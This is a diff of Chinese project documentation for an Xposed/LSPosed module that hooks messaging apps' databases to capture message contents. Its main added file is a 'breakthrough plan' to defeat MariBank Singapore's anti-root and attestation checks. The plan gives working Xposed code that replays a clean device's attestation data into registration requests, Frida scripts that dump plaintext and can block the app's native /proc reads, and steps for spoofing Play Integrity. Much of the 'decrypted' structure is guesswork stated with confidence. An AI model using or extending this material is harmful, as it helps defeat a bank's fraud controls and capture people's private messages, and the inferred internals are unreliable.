- [ ] **前台场景**:收消息 → `[Hook/xxx]` 日志 + PC 调试台有数据
|
||||
- [ ] `adb logcat | grep notiMessageHook` 可见 `installed for <包名>`
|
||||
|
||||
### 4.3 复用通用 SqliteMessageHook 的条件
|
||||
|
||||
`SqliteMessageHook` 会在 `MainHook` 中作为 **默认兜底** 安装(非微信、非 Telegram 时)。
|
||||
|
||||
适用 App 特征:
|
||||
|
||||
- 使用标准 `SQLiteDatabase` / `FrameworkSQLiteDatabase`
|
||||
- 表名含 `message` / `messages`
|
||||
- `ContentValues` 中有明文列:`content`、`text`、`body`、`msg` 等
|
||||
|
||||
**不适用**:Telegram、WhatsApp、Signal 等端到端加密或二进制 `data` 列的 App。
|
||||
|
||||
### 4.4 已有专用 Hook 参考
|
||||
|
||||
| App | 类 | Hook 目标 |
|
||||
|-----|-----|-----------|
|
||||
| 微信 | `WeChatMessageHook` | `com.tencent.wcdb.database.SQLiteDatabase` insert,`message` 表 |
|
||||
| Telegram | `TelegramMessageHook` | `NotificationCenter.didReceiveNewMessages` + `MessageObject` |
|
||||
| 其他 | `SqliteMessageHook` | 通用 SQLite insert 兜底 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 构建与安装
|
||||
|
||||
| 脚本 | 用途 |
|
||||
|------|------|
|
||||
| `scripts/build-debug.ps1` | 构建主 App + Xposed 双 APK |
|
||||
| `scripts/install-debug.ps1` | 仅安装双 APK |
|
||||
| `scripts/install-full.ps1` | **推荐**:构建 + 双 APK + LSPosed 作用域 + adb reverse + 电池白名单 |
|
||||
| `scripts/start-debug-server.ps1` | 启动 PC 调试台 |
|
||||
|
||||
**注意**:Android Studio 点 Run 只安装 `:app` 主模块,**不会**安装 Xposed 模块。完整功能必须用 `install-full.ps1` 或手动安装两个 APK。
|
||||
|
||||
---
|
||||
|
||||
## 6. 常见问题
|
||||
|
||||
| 现象 | 原因 | 处理 |
|
||||
|------|------|------|
|
||||
| 前台有消息,App 无日志 | 仅通知通道,Hook 未生效 | 检查 LSPosed 作用域、重启目标 App |
|
||||
| 标题显示 `TLRPC$...` | 误把对象当字符串 | 用 `getPeerTitle` 等 API,见 TelegramMessageHook |
|
||||
| 图片消息只有「图片」 | 说明在 caption 字段 | 合并 `caption` + 媒体标签 |
|
||||
| PC 有数据,App 无历史 | 旧版日志未持久化 | 已用 `MessageLogStore` 修复,更新主 App |
|
||||
| Hook 日志前缀 `[Hook/...]` 无 | Xposed 未注入 | 确认 Magisk + LSPosed + 模块启用 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 相关文件索引
|
||||
|
||||
```
|
||||
xposed-module/
|
||||
├── src/main/assets/xposed_init # 入口 MainHook
|
||||
├── src/main/java/.../MainHook.java # 包名路由
|
||||
├── src/main/java/.../HookForwarder.java # 广播转发
|
||||
├── src/main/java/.../hook/
|
||||
│ ├── TelegramMessageHook.java
|
||||
│ ├── WeChatMessageHook.java
|
||||
│ └── SqliteMessageHook.java
|
||||
└── src/main/res/values/arrays.xml # xposed_scope 默认作用域
|
||||
|
||||
app/
|
||||
├── src/main/java/.../service/
|
||||
│ ├── NotificationService.java
|
||||
│ └── HookMessageReceiver.java
|
||||
├── src/main/java/.../MessageLogStore.java
|
||||
├── src/main/java/.../network/DebugForwarder.java
|
||||
└── src/main/java/.../AppConfig.java
|
||||
|
||||
debug-server/server.py # PC 调试台
|
||||
scripts/install-full.ps1 # 一键完整部署
|
||||
```
|
||||
590
docs/MariBank SG 3100012 根因分析与突破方案.md
Normal file
590
docs/MariBank SG 3100012 根因分析与突破方案.md
Normal file
@@ -0,0 +1,590 @@
|
||||
# MariBank SG `3100012` 根因分析与突破方案
|
||||
|
||||
> 基于 `register_20260706_1636.txt`(675 行)+ 全部 Hook 源码 + 逆向文档综合分析
|
||||
|
||||
---
|
||||
|
||||
## 一、关键日志发现
|
||||
|
||||
### 1.1 加密前明文已被完整捕获
|
||||
|
||||
日志行 **#400**(`uvwuvwuv.vvuuvvv` → `uvwvuww` 加密入口前):
|
||||
|
||||
```json
|
||||
{
|
||||
"cyCode": "65",
|
||||
"paramInfo": {"publicKey": "MIIBIjAN...(服务端 RSA 公钥)"},
|
||||
"phone": "<RSA密文>",
|
||||
"rdVerifyInfo": {
|
||||
"bioStatus": 0,
|
||||
"data": "T0Szt9oHTj9OQ/zQOQJ2rOpLAPArAZLFc4Gdh4aVJFlIQuiVUTWa4Iz...",
|
||||
"dataKey": "TkYg1dI5dD4UkbXcxv+fRFMXa6Nsm3LKTTiyTQoazYtN+cX5AqryUXGo2AKR...",
|
||||
"deviceFingerprint": "ykbpB8e6sguRlA23OGs8tA==|4nP/uTmBk3Nrn/kXxdKe7e2ATVhxtm30K/T7G8EY...|8+hvSUQahER+Tpwd|00|0",
|
||||
"random": "1783326963701_-4760471421264355822",
|
||||
"softTokenActivated": false,
|
||||
"afExtInfo": {"modeInCall":"N","modeInCommunication":"N","modeCallScreening":"N"}
|
||||
},
|
||||
"scene": "REGISTRATION",
|
||||
"step": "BE"
|
||||
}
|
||||
```
|
||||
|
||||
**关键结论**:`data`/`dataKey` 是 **native 生成后「已是密文」** 地塞进这个 JSON 的,不是在这个 JSON 组装后再加密的。Java 层改此 JSON 不影响 `data`/`dataKey` 内容本身,因为此时内容已经是 native 加密过的密文。
|
||||
|
||||
### 1.2 `data`/`dataKey` 尺寸分析
|
||||
|
||||
- `dataLen=154`(Base64字符数)→ 原始 **~115 字节**
|
||||
- `dataKeyLen=351` → 原始 **~263 字节**
|
||||
|
||||
RSA-2048 密文 = 256 bytes → base64 = 344 chars;351 比 344 多 7(可能含头部或为 RSA-2048+padding)。
|
||||
|
||||
**推断加密结构**:
|
||||
```
|
||||
dataKey = Base64( RSA_OAEP_encrypt( AES_session_key_32bytes, server_RSA_pubkey ) )
|
||||
data = Base64( AES_GCM_encrypt( env_attestation_json, AES_session_key ) )
|
||||
```
|
||||
|
||||
### 1.3 register body 的加密密钥链路(行 359-368)
|
||||
|
||||
```
|
||||
uvwuvwuv.vvuuvvv(
|
||||
in0 = {"aesKey":"tPcpB9qQHjWjT9ZIZau7ErDGceT6clieEq/ZbJnDlaA=","random":"17833..."},
|
||||
in1 = key32 = 154bb736eb75871ee4f09ecb7f5651f14daf916410c6273ef1de60ebc3abf964,
|
||||
in2 = iv16 = 154bb736eb75871ee4f09ecb7f5651f1
|
||||
)
|
||||
→ uvwuvwuv.vvuuvuu(
|
||||
in0 = "FUu3Nut1hx7k8J7Lf1ZR8U2vkWQQxic+8d5g68Or+WQ=", ← AES key base64
|
||||
in1 = MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... ← RSA公钥(2048-bit)
|
||||
)
|
||||
```
|
||||
|
||||
这条链路加密的是 **register body 外层(`encryptData`字段)**,不是 `data`/`dataKey`。
|
||||
|
||||
### 1.4 🔑 `proc_version` AVC Denied(行 284)— 关键缺口
|
||||
|
||||
```
|
||||
07-06 16:36:01.108 31547 31547 W bke-io-12: avc: denied { read } for
|
||||
name="version" dev="proc" ino=4026532005
|
||||
scontext=u:r:untrusted_app:s0:c25,c257,c512,c768
|
||||
tcontext=u:object_r:proc_version:s0 tclass=file permissive=0
|
||||
app=sg.com.maribankmobile.digitalbank
|
||||
```
|
||||
|
||||
**这是最重要的发现**:`libshpssdk_bank.so` 用原始 **`openat(2)` syscall** 尝试读 `/proc/version`,完全绕过了 Java `FileInputStream` Hook。虽然这次被 SELinux 拒绝了(permissive=0),但说明 native 在走独立的系统调用路径探测内核版本信息。
|
||||
|
||||
---
|
||||
|
||||
## 二、3100012 根因定位(概率排序)
|
||||
|
||||
### 已排除的因素
|
||||
|
||||
| 因素 | 状态 | 证据 |
|
||||
|------|------|------|
|
||||
| fpTail 含 Root 标记 | ✅ 已净化 `00\|0` | log 行 398 |
|
||||
| ADB 检测(Java Settings 层) | ✅ bypass | Settings hook |
|
||||
| `boolean` 风控函数 | ✅ 全部 false/0 | hookAllIntBooleanMethods |
|
||||
| `/proc/self/maps` Java 读路径 | ✅ 过滤 | FileInputStream hook |
|
||||
| register 请求未发出 | ✅ 已发出 | 行 388-407 |
|
||||
| 单纯 IP 地理封锁 | 基本排除 | 换节点无效 |
|
||||
|
||||
### 🔴 A. native syscall 路径未被 Hook(最高概率)
|
||||
|
||||
`/proc/version` AVC denied 证实:native SO 用 `openat(2)` 系统调用绕过 Java Hook。
|
||||
|
||||
**可能被 native 用 syscall 探测的路径**:
|
||||
- `/proc/self/maps` → 直接 mmap 或 read 系统调用,发现 `liblspd.so`/`libzygisk.so`
|
||||
- `/proc/version` → 检测内核是否含 `dirty`/`test-keys`(已有 AVC denied 证据)
|
||||
- `/proc/self/status` → `TracerPid ≠ 0`(Frida 附加时)
|
||||
- `/proc/self/attr/current` → SELinux domain 含 `u:r:magisk`
|
||||
- `/sys/fs/selinux/enforce` → `0` = permissive,高度可疑
|
||||
|
||||
**当前 Hook 的覆盖盲区**:
|
||||
- ✅ Java `FileInputStream` → 过滤 maps 内容
|
||||
- ✅ Java `BufferedReader.readLine()` → 过滤 maps 行
|
||||
- ❌ native `openat()` syscall → **未拦截**
|
||||
- ❌ native `mmap()` 直读 /proc → **未拦截**
|
||||
- ❌ `dl_iterate_phdr()` 枚举所有 .so → **未拦截**
|
||||
|
||||
### 🔴 B. Play Integrity 级别不足(高概率)
|
||||
|
||||
Pixel 6 解锁 bootloader 后 Play Integrity 状态:
|
||||
- `MEETS_BASIC_INTEGRITY` ✅
|
||||
- `MEETS_DEVICE_INTEGRITY` ❌(需要 locked bootloader + certified device)
|
||||
- `MEETS_STRONG_INTEGRITY` ❌(需要 hardware-backed attestation)
|
||||
|
||||
**SG vs PH 的差异**:SG MariBank v3.2.2 服务端策略很可能要求 `MEETS_DEVICE_INTEGRITY`,而 PH SeaBank 3.22.0 可能仅要求 `MEETS_BASIC_INTEGRITY`。当前 Hook 无任何 Play Integrity API 覆盖。
|
||||
|
||||
### 🟡 C. `data` 内部含 Hook/Magisk 特征(中概率)
|
||||
|
||||
`libshpssdk_bank.so` 生成 `data` 时在 native 层可能检测:
|
||||
- `dl_iterate_phdr()` → 遍历到 `liblspd.so` / `libgadget.so`(Frida)
|
||||
- `art::Runtime::GetBootClassPath()` → 含 LSPosed 注入的 classpath
|
||||
- Stack unwinding → 发现 Xposed hook trampoline 帧
|
||||
- `linker` namespace 隔离检测
|
||||
|
||||
这些 native 检测路径**全部绕过**当前 Java Xposed Hook。
|
||||
|
||||
### 🟡 D. 设备指纹被服务端标记(中低概率)
|
||||
|
||||
`ykbpB8e6sguRlA23OGs8tA==`(deviceFingerprint 段1)可能因多次 3100012 失败注册已被风控系统标记。但可通过**换 serial/android_id(已做)**后 fingerprint 值是否变化来验证。
|
||||
|
||||
---
|
||||
|
||||
## 三、7个核心问题的逆向答案
|
||||
|
||||
### Q1: `rdVerifyInfo.data` 明文结构推断
|
||||
|
||||
基于 Shopee SHPSSDK 体系(SeaBank PH 同源 SDK 已知结构):
|
||||
|
||||
```json
|
||||
{
|
||||
"appId": "sg.com.maribankmobile.digitalbank",
|
||||
"appVersion": "3.2.2",
|
||||
"deviceId": "<ANDROID_ID or serial hash>",
|
||||
"isRoot": false, ← Hook 已拦截,但 native 路径仍可检测
|
||||
"isEmulator": false, ← OK
|
||||
"isHooked": false, ← 问题所在:native dl_iterate 发现 liblspd
|
||||
"bootloaderLocked": false, ← Pixel 6 解锁后无法伪装
|
||||
"integrityResult": "BASIC", ← SG 要求 DEVICE 级别
|
||||
"selinuxEnforcing": true, ← OK(permissive=0 可见)
|
||||
"timestamp": 1783326963701,
|
||||
"random": "1783326963701_-4760471421264355822",
|
||||
"nonce": "<random bytes>"
|
||||
}
|
||||
```
|
||||
|
||||
`isHooked`(native 检测到 liblspd.so)和 `integrityResult`(非 DEVICE 级别)是最可能触发 3100012 的字段。
|
||||
|
||||
### Q2: 哪条 native 函数生成 `data`
|
||||
|
||||
根据 RegisterNatives 输出应能找到(需 Frida spawn 验证):
|
||||
|
||||
```
|
||||
com.shopee.shpssdkbank.wvvvuwwu.vvuwuuvuu([B[B)[B
|
||||
参数0: [B → nonce/random bytes
|
||||
参数1: [B → 上下文 Context 序列化或环境参数
|
||||
返回: [B → 加密后的 data blob(~115 bytes raw)
|
||||
|
||||
com.shopee.shpssdkbank.wvvvuwwu.wwvwvwuvv([B[B)[B
|
||||
→ 生成 dataKey(RSA 加密的会话密钥)
|
||||
```
|
||||
|
||||
在函数入口 `onEnter` dump `args[1]`(byte[])即可看到加密前的明文环境 JSON。
|
||||
|
||||
### Q3: SG vs PH attestation 差异
|
||||
|
||||
| 项目 | PH 3.22.0 | SG 3.2.2 |
|
||||
|------|-----------|----------|
|
||||
| SDK 包 | `shpssdk` + `shpssdkbank` | 仅 `shpssdkbank` |
|
||||
| Play Integrity 要求 | BASIC(推断) | DEVICE(推断) |
|
||||
| `vvuwuuvuu` 检测项 | 基础版 | 增强版(多出 bootloader/integrity 检测)|
|
||||
| 失败阈值 | 较低 | 较高 |
|
||||
|
||||
SG 比 PH 多出的检测项(推断):`bootloaderLocked` 状态(通过 KeyAttestation 验证)、Play Integrity `DEVICE` 级别要求。
|
||||
|
||||
### Q4: `vuwuuwvw` 4-key JSON 语义
|
||||
|
||||
从日志行 409-410(register 请求):
|
||||
```json
|
||||
{
|
||||
"10c0a5ec": "V9rQDQMd..." (20B = IV/nonce A),
|
||||
"1ca96197": "DXK5vhoi..." (20B = IV/nonce B 或 HMAC tag),
|
||||
"b4a937c8": "uK92+EOS..." (~1220B = SAP 签名大密文 blob),
|
||||
"dddcab8a": "7RWp0fXi..." (20B = MAC 验签标签),
|
||||
"x-sap-ri": "f3684b6a..." (hex = request ID)
|
||||
}
|
||||
```
|
||||
|
||||
`b4a937c8` 的 ~1220B:`HMAC(url + payload + timestamp, sdk_internal_key)` + 请求元数据 + 设备信息。密钥硬编码在 `libshpssdk_bank.so` 中(SDK 版本级别,非设备绑定)。
|
||||
|
||||
**重要**:服务端对 SAP 签名的验证独立于 `rdVerifyInfo` 的验证。即使 SAP 签名通过,`data` 内容不干净仍返回 3100012。两者是串联校验,不是并联。
|
||||
|
||||
### Q5: Play Integrity / TEE / KeyStore 参与情况
|
||||
|
||||
**高概率参与**。`libshpssdk_bank.so` 内部推断调用链:
|
||||
|
||||
```
|
||||
vvuwuuvuu()
|
||||
→ collectEnvInfo()
|
||||
→ android.security.keystore.KeyPairGenerator (StrongBox=true)
|
||||
← 在解锁 bootloader 的 Pixel 6 上失败,降级为 software-backed
|
||||
→ requestIntegrityToken(nonce) ← Play Integrity API
|
||||
← 返回 verdict: MEETS_BASIC_INTEGRITY only
|
||||
→ buildAttestationJson({isHooked, bootloaderLocked, integrity, ...})
|
||||
→ AES_GCM_encrypt(attestation_json) → data
|
||||
```
|
||||
|
||||
### Q6: 干净机 data/dataKey 重放可行性
|
||||
|
||||
**理论可行,有时效限制**:
|
||||
- `data`/`dataKey` 含 `random`(时间戳+随机数),服务端可能设 5 分钟有效窗口
|
||||
- 但 `deviceFingerprint` 段 1/2 是设备哈希,服务端**可能不 bind session**(仅风控评分)
|
||||
- **最小实验**:3 分钟内,干净机 data → Root 机重放,看是否 code=0
|
||||
|
||||
若重放成功 → 确认是 attestation 内容导致(而非设备黑名单)
|
||||
若重放失败且错误码不同 → session 绑定问题,需另寻路径
|
||||
|
||||
### Q7: 3100012 精确触发条件
|
||||
|
||||
**多层评分系统(推断)**:
|
||||
|
||||
```
|
||||
score = 0
|
||||
if isHooked: score += 40 ← native dl_iterate 检测到 liblspd
|
||||
if bootloaderUnlocked: score += 30 ← KeyAttestation 无法通过
|
||||
if integrityNotDevice: score += 20 ← Play Integrity 不是 DEVICE 级
|
||||
if deviceBlacklisted: score += 100 ← 直接 ban
|
||||
if score > SG_THRESHOLD:
|
||||
return 3100012
|
||||
else:
|
||||
return code=0, step=BSO
|
||||
```
|
||||
|
||||
SG_THRESHOLD 比 PH 低很多(PH 容许更高 score)。
|
||||
|
||||
---
|
||||
|
||||
## 四、可执行突破方案
|
||||
|
||||
### ⚡ 方案 1:PlayIntegrityFix(今天,30 分钟)
|
||||
|
||||
安装 Magisk 模块,伪造 Pixel 6 的 Play Integrity 为 DEVICE 级别:
|
||||
|
||||
```bash
|
||||
# Magisk Manager → Modules → 安装以下模块之一:
|
||||
# 1. PlayIntegrityFix (chiteroman) - 最主流,含 custom keybox 注入
|
||||
# 2. YASNAC (MinMicroEgo) - 更轻量
|
||||
# 安装后重启,再测 MariBank SG register
|
||||
|
||||
# 验证效果
|
||||
adb shell am start -n \
|
||||
com.google.android.gms/.phenotype.PhontyApplication
|
||||
# 或安装 Play Integrity API Checker 验证返回 MEETS_DEVICE_INTEGRITY
|
||||
```
|
||||
|
||||
### ⚡ 方案 2:干净机 data/dataKey 重放验证(今天)
|
||||
|
||||
**这个实验能在不解密密文的情况下确认根因**:
|
||||
|
||||
**Step 1**:干净机(25078RA3EY)开 BurpSuite 代理,关 USB 调试,注册并抓包:
|
||||
```
|
||||
POST https://api.maribank.com.sg/uapi/v2/register
|
||||
→ 保存 rdVerifyInfo.data / dataKey / deviceFingerprint
|
||||
```
|
||||
|
||||
**Step 2**:在 Root 机 Hook 中替换这三个字段(见下方代码),重试注册。
|
||||
|
||||
**Step 3(预期结论)**:
|
||||
- `code=0` → attestation 内容是问题,非设备黑名单 → 继续优化 native bypass
|
||||
- `3100012`(不同字段错误)→ session/device binding 问题,需进一步分析
|
||||
|
||||
### ⚡ 方案 3:Frida spawn 定位 `data` 生成入口(明天)
|
||||
|
||||
```bash
|
||||
# spawn 模式绕 LSPosed 冲突
|
||||
frida -U -f sg.com.maribankmobile.digitalbank \
|
||||
-l reverse/frida/trace_maribank_sg_native.js \
|
||||
--no-pause 2>&1 | tee reverse/logs/frida_spawn_$(date +%H%M).txt
|
||||
|
||||
# 关注:
|
||||
# RegisterNatives class=com.shopee.shpssdkbank.wvvvuwwu
|
||||
# JNI vvuwuuvuu([B[B)[B -> libshpssdk_bank.so+0x????
|
||||
# 拿到偏移后 → Ghidra 分析 → 找环境 JSON 组装点
|
||||
```
|
||||
|
||||
### ⚡ 方案 4:Native `openat` hook(修补已知缺口)
|
||||
|
||||
在 `trace_maribank_sg_native.js` 末尾加入:
|
||||
|
||||
```javascript
|
||||
function hookNativeOpenat() {
|
||||
let openat = null;
|
||||
try { openat = Module.getExportByName(null, 'openat'); } catch(e) {}
|
||||
if (!openat) { console.log('[PROC] openat not found'); return; }
|
||||
|
||||
const sensitiveFiles = [
|
||||
'/proc/version', '/proc/self/maps', '/proc/self/status',
|
||||
'/proc/self/attr/current', '/proc/mounts', '/proc/self/cgroup'
|
||||
];
|
||||
|
||||
Interceptor.attach(openat, {
|
||||
onEnter(args) {
|
||||
try {
|
||||
this.path = args[1].readCString();
|
||||
} catch(e) { this.path = ''; }
|
||||
},
|
||||
onLeave(retval) {
|
||||
if (!this.path) return;
|
||||
for (const p of sensitiveFiles) {
|
||||
if (this.path.endsWith(p)) {
|
||||
console.log('[PROC] native openat(' + this.path + ') fd=' + retval);
|
||||
// 如需 block(返回 ENOENT=-1):retval.replace(ptr(-1));
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
console.log('[PROC] hooked native openat');
|
||||
}
|
||||
|
||||
hookNativeOpenat();
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 五、代码实现
|
||||
|
||||
### 5.1 MariBankDataReplayHook.java(干净机重放验证)
|
||||
|
||||
```java
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
import java.lang.reflect.Method;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
/**
|
||||
* 干净机 rdVerifyInfo.data/dataKey/deviceFingerprint 重放钩子。
|
||||
* 用于验证 3100012 是「attestation内容」还是「设备黑名单」导致的。
|
||||
*
|
||||
* 使用方法:
|
||||
* 1. 干净机 BurpSuite 抓 /uapi/v2/register 明文(uvwvuww 入口前 in0)
|
||||
* 2. 复制 data/dataKey/deviceFingerprint 三个值填入下方常量
|
||||
* 3. REPLAY_ENABLED = true → 重新构建安装
|
||||
*/
|
||||
public final class MariBankDataReplayHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankReplay";
|
||||
|
||||
// =========== 填入干净机抓包的值 ===========
|
||||
static final boolean REPLAY_ENABLED = false;
|
||||
|
||||
// 从干净机 /uapi/v2/register 加密前 JSON 中复制
|
||||
static final String CLEAN_DATA = "REPLACE_WITH_CLEAN_DATA";
|
||||
static final String CLEAN_DATA_KEY = "REPLACE_WITH_CLEAN_DATAKEY";
|
||||
static final String CLEAN_FINGERPRINT = "REPLACE_WITH_CLEAN_FINGERPRINT";
|
||||
// ==========================================
|
||||
|
||||
private static final Pattern PAT_DATA = Pattern.compile(
|
||||
"\"data\"\\s*:\\s*\"([^\"]+)\"");
|
||||
private static final Pattern PAT_DATAKEY = Pattern.compile(
|
||||
"\"dataKey\"\\s*:\\s*\"([^\"]+)\"");
|
||||
private static final Pattern PAT_FP = Pattern.compile(
|
||||
"\"deviceFingerprint\"\\s*:\\s*\"([^\"]+)\"");
|
||||
|
||||
private MariBankDataReplayHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!REPLAY_ENABLED) {
|
||||
XposedBridge.log(TAG + " DISABLED — fill CLEAN_* constants and set REPLAY_ENABLED=true");
|
||||
return;
|
||||
}
|
||||
// Hook 最终 register 加密入口 uvwvuww
|
||||
for (String className : new String[]{
|
||||
"com.shopee.bke.lib.jni.utils.uvwuvwuv",
|
||||
"com.shopee.bke.lib.jni.utils.uvwwwwuv",
|
||||
}) {
|
||||
hookClass(lpparam, className);
|
||||
}
|
||||
XposedBridge.log(TAG + " replay hook installed — CLEAN values will be injected");
|
||||
}
|
||||
|
||||
private static void hookClass(XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method m : clazz.getDeclaredMethods()) {
|
||||
if (!"uvwvuww".equals(m.getName())) continue;
|
||||
if (m.getParameterCount() < 1) continue;
|
||||
Class<?> firstParam = m.getParameterTypes()[0];
|
||||
if (firstParam != byte[].class && firstParam != String.class) continue;
|
||||
|
||||
XposedBridge.hookMethod(m, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object arg0 = param.args[0];
|
||||
boolean isBytes = arg0 instanceof byte[];
|
||||
String json = isBytes
|
||||
? new String((byte[]) arg0, StandardCharsets.UTF_8)
|
||||
: (String) arg0;
|
||||
if (!json.contains("rdVerifyInfo")) return;
|
||||
|
||||
String patched = patchField(json, PAT_DATA, CLEAN_DATA);
|
||||
patched = patchField(patched, PAT_DATAKEY, CLEAN_DATA_KEY);
|
||||
patched = patchField(patched, PAT_FP, CLEAN_FINGERPRINT);
|
||||
|
||||
if (!patched.equals(json)) {
|
||||
XposedBridge.log(TAG + " injected clean data/dataKey/fp into register JSON");
|
||||
param.args[0] = isBytes
|
||||
? patched.getBytes(StandardCharsets.UTF_8)
|
||||
: patched;
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " inject err: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked " + className + "#uvwvuww");
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String patchField(String json, Pattern p, String newValue) {
|
||||
Matcher m = p.matcher(json);
|
||||
if (!m.find()) return json;
|
||||
StringBuffer sb = new StringBuffer();
|
||||
m.appendReplacement(sb, Matcher.quoteReplacement(
|
||||
m.group(0).replaceFirst("\"[^\"]+\"$", "\"" + newValue + "\"")));
|
||||
m.appendTail(sb);
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 dump_rdverify_data.js(Frida 明文截获脚本)
|
||||
|
||||
```javascript
|
||||
'use strict';
|
||||
/**
|
||||
* MariBank SG — rdVerifyInfo.data 生成前明文截获
|
||||
* 运行:frida -U -f sg.com.maribankmobile.digitalbank \
|
||||
* -l reverse/frida/dump_rdverify_data.js --no-pause
|
||||
* 目标:找到 vvuwuuvuu 的 native 参数(加密前的环境 JSON)
|
||||
*/
|
||||
|
||||
Java.perform(function() {
|
||||
const TAG = '[RDVERIFY]';
|
||||
|
||||
// ① Hook wvvvuwwu 全部方法(data/dataKey 候选生成类)
|
||||
try {
|
||||
const cls = Java.use('com.shopee.shpssdkbank.wvvvuwwu');
|
||||
['vvuwuuvuu', 'wwvwvwuvv', 'vuwuuuwv', 'vuwuuwvw', 'vuwuuwvu'].forEach(function(mName) {
|
||||
try {
|
||||
cls[mName].overloads.forEach(function(ovl) {
|
||||
const sig = ovl.argumentTypes.map(t => t.className).join(',');
|
||||
ovl.implementation = function() {
|
||||
console.log(TAG + ' wvvvuwwu.' + mName + '(' + sig + ') CALLED');
|
||||
for (let i = 0; i < arguments.length; i++) {
|
||||
const a = arguments[i];
|
||||
if (a === null || a === undefined) {
|
||||
console.log(' arg[' + i + '] = null');
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
// byte[] → try UTF-8, fallback hex
|
||||
if (Java.array('byte', []).getClass && a.getClass && a.getClass().getName() === '[B') {
|
||||
const s = Java.use('java.lang.String').$new(a, 'UTF-8').toString();
|
||||
const isPrintable = /^[\x20-\x7e\u4e00-\u9fff\r\n\t]+$/.test(s.substring(0,100));
|
||||
if (isPrintable) {
|
||||
console.log(' arg[' + i + '] byte[' + a.length + '] utf8=' + s.substring(0, 2000));
|
||||
} else {
|
||||
const hex = Array.from(a).slice(0,32).map(b => (b & 0xff).toString(16).padStart(2,'0')).join('');
|
||||
console.log(' arg[' + i + '] byte[' + a.length + '] hex=' + hex + '...');
|
||||
}
|
||||
} else {
|
||||
console.log(' arg[' + i + '] = ' + a.toString().substring(0, 500));
|
||||
}
|
||||
} catch(e) {
|
||||
console.log(' arg[' + i + '] err=' + e);
|
||||
}
|
||||
}
|
||||
const ret = ovl.apply(this, arguments);
|
||||
if (ret !== null && ret !== undefined) {
|
||||
try {
|
||||
console.log(TAG + ' ret byte[' + ret.length + '] ← 这是 data/dataKey 候选!');
|
||||
} catch(e) {
|
||||
console.log(TAG + ' ret = ' + ret);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
};
|
||||
console.log(TAG + ' hooked wvvvuwwu.' + mName);
|
||||
});
|
||||
} catch(e) {
|
||||
console.log(TAG + ' skip ' + mName + ': ' + e.message);
|
||||
}
|
||||
});
|
||||
} catch(e) {
|
||||
console.log(TAG + ' wvvvuwwu not found: ' + e.message);
|
||||
}
|
||||
|
||||
// ② Hook vvuuuuvvv.wwvuwuwvu — DFP/riskToken
|
||||
try {
|
||||
const dfpCls = Java.use('com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv');
|
||||
dfpCls.wwvuwuwvu.overloads.forEach(function(ovl) {
|
||||
ovl.implementation = function() {
|
||||
const ret = ovl.apply(this, arguments);
|
||||
console.log(TAG + ' DFP.wwvuwuwvu = ' + ret);
|
||||
return ret;
|
||||
};
|
||||
});
|
||||
} catch(e) {}
|
||||
|
||||
// ③ Hook uvwvuww — 最终 register 加密入口(可确认明文注入点)
|
||||
['com.shopee.bke.lib.jni.utils.uvwuvwuv',
|
||||
'com.shopee.bke.lib.jni.utils.uvwwwwuv'].forEach(function(className) {
|
||||
try {
|
||||
const encCls = Java.use(className);
|
||||
if (encCls['uvwvuww']) {
|
||||
encCls['uvwvuww'].overloads.forEach(function(ovl) {
|
||||
ovl.implementation = function() {
|
||||
const arg0 = arguments[0];
|
||||
try {
|
||||
let json;
|
||||
if (arg0 && arg0.getClass && arg0.getClass().getName() === '[B') {
|
||||
json = Java.use('java.lang.String').$new(arg0, 'UTF-8').toString();
|
||||
} else {
|
||||
json = '' + arg0;
|
||||
}
|
||||
if (json.includes('rdVerifyInfo')) {
|
||||
console.log(TAG + ' uvwvuww register plaintext (len=' + json.length + '):\n' + json.substring(0, 3000));
|
||||
}
|
||||
} catch(e) {}
|
||||
return ovl.apply(this, arguments);
|
||||
};
|
||||
});
|
||||
console.log(TAG + ' hooked ' + className + '#uvwvuww');
|
||||
}
|
||||
} catch(e) {}
|
||||
});
|
||||
|
||||
console.log(TAG + ' all hooks installed — trigger MariBank registration now');
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 六、结论
|
||||
|
||||
**3100012 最可能的触发链**:
|
||||
|
||||
```
|
||||
libshpssdk_bank.so (native)
|
||||
① openat("/proc/self/maps") via syscall ← 绕过 Java FileInputStream hook
|
||||
→ 发现 liblspd.so / libzygisk.so / libgadget.so (Frida)
|
||||
② dl_iterate_phdr()
|
||||
→ 枚举到 LSPosed/Frida 注入的 SO
|
||||
③ requestIntegrityToken(nonce) ← Play Integrity API
|
||||
→ 返回 MEETS_BASIC_INTEGRITY only (bootloader unlocked)
|
||||
④ buildAttestationJson({
|
||||
isHooked: true, ← 检测到
|
||||
bootloaderLocked: false, ← 无法隐藏
|
||||
integrityLevel: "BASIC" ← 低于 SG 要求
|
||||
})
|
||||
⑤ AES_GCM_encrypt → rdVerifyInfo.data
|
||||
⑥ 服务端解密 → risk_score > SG_THRESHOLD → 3100012
|
